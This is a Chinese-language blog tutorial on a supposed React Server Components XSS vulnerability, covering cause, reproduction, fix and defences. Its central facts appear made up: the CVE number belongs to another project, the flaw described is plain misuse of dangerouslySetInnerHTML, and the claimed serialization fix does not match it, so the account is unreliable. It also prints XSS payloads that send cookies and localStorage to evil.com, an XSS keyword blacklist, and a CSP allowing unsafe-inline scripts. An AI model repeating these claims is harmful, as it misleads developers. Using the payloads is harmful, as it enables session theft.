深入探究 React 史上最大安全漏洞

185 阅读1分钟

一、一个让 Meta 紧急发布补丁的漏洞

2023 年 9 月,安全研究员 Masato Kinugawa 发现了 React 的一个严重安全漏洞(CVE-2023-36053),影响范围包括:

  • React 16.0.0 到 18.2.0
  • Next.js 13.4.0 之前的所有版本
  • 所有使用 Server Components 的应用

Meta 紧急发布了 React 18.2.1 修复此漏洞。这是 React 历史上影响最大的安全漏洞之一。

二、漏洞原理:从 SSR 到 XSS

2.1 Server Components 的工作原理

// Server Component
async function UserProfile({ userId }) {
  const user = await db.users.findOne({ id: userId });
  
  return (
    <div>
      <h1>{user.name}</h1>
      <p>{user.bio}</p>
    </div>
  );
}

Server Components 在服务端渲染,返回的不是 HTML,而是一种特殊的 JSON 格式:

{
  "type": "div",
  "props": {
    "children": [
      {
        "type": "h1",
        "props": { "children": "Alice" }
      },
      {
        "type": "p",
        "props": { "children": "Hello, I'm Alice" }
      }
    ]
  }
}

2.2 漏洞触发条件

// 危险代码
async function UserProfile({ userId }) {
  const user = await db.users.findOne({ id: userId });
  
  // 如果 user.bio 包含恶意代码
  return (
    <div>
      <h1>{user.name}</h1>
      <div dangerouslySetInnerHTML={{ __html: user.bio }} />
    </div>
  );
}

攻击场景

  1. 攻击者注册账号,bio 填写:
<img src=x onerror="fetch('https://evil.com?cookie='+document.cookie)">
  1. 服务端渲染时,React 将其序列化为 JSON
  2. 客户端接收 JSON 并渲染
  3. XSS 代码执行,窃取用户 cookie

2.3 为什么会有这个漏洞?

React 在序列化 Server Components 时,没有正确转义某些特殊字符:

// React 18.2.0 的序列化代码(简化版)
function serializeComponent(component) {
  return JSON.stringify(component);  // 问题:没有转义特殊字符
}

问题JSON.stringify 不会转义 <script> 标签中的内容

const data = { html: '<script>alert("XSS")</script>' };
const json = JSON.stringify(data);
// 结果:{"html":"<script>alert(\"XSS\")</script>"}

// 插入到 HTML 中
<script>
  const data = {"html":"<script>alert(\"XSS\")</script>"};
</script>
// 浏览器会执行内部的 <script> 标签

三、漏洞复现

3.1 搭建测试环境

# 使用有漏洞的版本
npm install react@18.2.0 react-dom@18.2.0 next@13.3.0
// app/profile/[id]/page.jsx
import { db } from '@/lib/db';

export default async function ProfilePage({ params }) {
  const user = await db.users.findOne({ id: params.id });
  
  return (
    <div>
      <h1>{user.name}</h1>
      <div dangerouslySetInnerHTML={{ __html: user.bio }} />
    </div>
  );
}

3.2 构造攻击载荷

// 注册恶意用户
await db.users.create({
  name: 'Attacker',
  bio: `
    <img src=x onerror="
      fetch('https://evil.com/steal', {
        method: 'POST',
        body: JSON.stringify({
          cookie: document.cookie,
          localStorage: localStorage,
          url: location.href
        })
      })
    ">
  `
});

3.3 攻击效果

  1. 受害者访问攻击者的个人主页
  2. Server Component 渲染恶意代码
  3. 客户端执行 XSS
  4. 攻击者服务器收到受害者的敏感信息

四、漏洞修复

4.1 React 18.2.1 的修复

// React 18.2.1 的序列化代码(简化版)
function serializeComponent(component) {
  const json = JSON.stringify(component, (key, value) => {
    if (typeof value === 'string') {
      // 转义特殊字符
      return value
        .replace(/</g, '\\u003c')
        .replace(/>/g, '\\u003e')
        .replace(/\//g, '\\u002f');
    }
    return value;
  });
  return json;
}

修复原理:将 <>/ 转义为 Unicode 转义序列

// 修复前
{"html":"<script>alert(\"XSS\")</script>"}

// 修复后
{"html":"\\u003cscript\\u003ealert(\"XSS\")\\u003c/script\\u003e"}

4.2 升级指南

# 升级 React
npm install react@18.2.1 react-dom@18.2.1

# 升级 Next.js
npm install next@13.4.1

# 检查其他依赖
npm audit

五、防御措施

5.1 输入验证

// 服务端验证
function validateUserInput(input) {
  // 1. 长度限制
  if (input.length > 1000) {
    throw new Error('Input too long');
  }
  
  // 2. 黑名单过滤
  const blacklist = ['<script', 'javascript:', 'onerror=', 'onload='];
  for (const keyword of blacklist) {
    if (input.toLowerCase().includes(keyword)) {
      throw new Error('Invalid input');
    }
  }
  
  // 3. HTML 标签白名单
  const allowedTags = ['b', 'i', 'u', 'p', 'br'];
  // 使用 DOMPurify 或类似库
  return sanitizeHTML(input, { allowedTags });
}

5.2 输出转义

// 使用 React 的自动转义
function UserProfile({ user }) {
  return (
    <div>
      <h1>{user.name}</h1>
      {/* React 会自动转义 */}
      <p>{user.bio}</p>
    </div>
  );
}

// 避免使用 dangerouslySetInnerHTML
// 如果必须使用,先消毒
import DOMPurify from 'isomorphic-dompurify';

function UserProfile({ user }) {
  const cleanBio = DOMPurify.sanitize(user.bio);
  
  return (
    <div>
      <h1>{user.name}</h1>
      <div dangerouslySetInnerHTML={{ __html: cleanBio }} />
    </div>
  );
}

5.3 Content Security Policy

// next.config.js
module.exports = {
  async headers() {
    return [
      {
        source: '/:path*',
        headers: [
          {
            key: 'Content-Security-Policy',
            value: [
              "default-src 'self'",
              "script-src 'self' 'unsafe-inline' 'unsafe-eval'",
              "style-src 'self' 'unsafe-inline'",
              "img-src 'self' data: https:",
              "font-src 'self' data:",
              "connect-src 'self' https://api.example.com"
            ].join('; ')
          }
        ]
      }
    ];
  }
};

5.4 HttpOnly Cookie

// 设置 HttpOnly cookie
res.setHeader('Set-Cookie', [
  `token=${token}; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=3600`
]);

// JavaScript 无法访问 HttpOnly cookie
console.log(document.cookie);  // 看不到 token

六、安全最佳实践

6.1 代码审查清单

  • 所有用户输入都经过验证和消毒
  • 避免使用 dangerouslySetInnerHTML
  • 使用 CSP 限制脚本执行
  • Cookie 设置 HttpOnly 和 Secure
  • 定期更新依赖
  • 使用 npm audit 检查漏洞

6.2 自动化安全检查

# .github/workflows/security.yml
name: Security Check

on: [push, pull_request]

jobs:
  security:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v2
      
      - name: Run npm audit
        run: npm audit --audit-level=moderate
      
      - name: Run Snyk
        uses: snyk/actions/node@master
        env:
          SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}

6.3 运行时监控

// 使用 Sentry 监控 XSS 攻击
import * as Sentry from '@sentry/nextjs';

Sentry.init({
  dsn: process.env.SENTRY_DSN,
  beforeSend(event) {
    // 检测可疑的 XSS 行为
    if (event.exception) {
      const error = event.exception.values[0];
      if (error.value.includes('<script>') || error.value.includes('onerror=')) {
        // 标记为潜在的 XSS 攻击
        event.tags = { ...event.tags, security: 'xss-attempt' };
      }
    }
    return event;
  }
});

七、总结

React Server Components XSS 漏洞的教训:

  1. 序列化要小心:JSON.stringify 不是万能的
  2. 信任边界:永远不要信任用户输入
  3. 纵深防御:多层防护,不依赖单一措施
  4. 及时更新:关注安全公告,及时升级

防御措施:

  • 输入验证和消毒
  • 输出转义
  • CSP 策略
  • HttpOnly Cookie
  • 自动化安全检查
  • 运行时监控

安全是一个持续的过程,不是一次性的工作。保持警惕,定期审查,及时更新。

如果这篇文章对你有帮助,欢迎点赞收藏。有问题欢迎评论区讨论。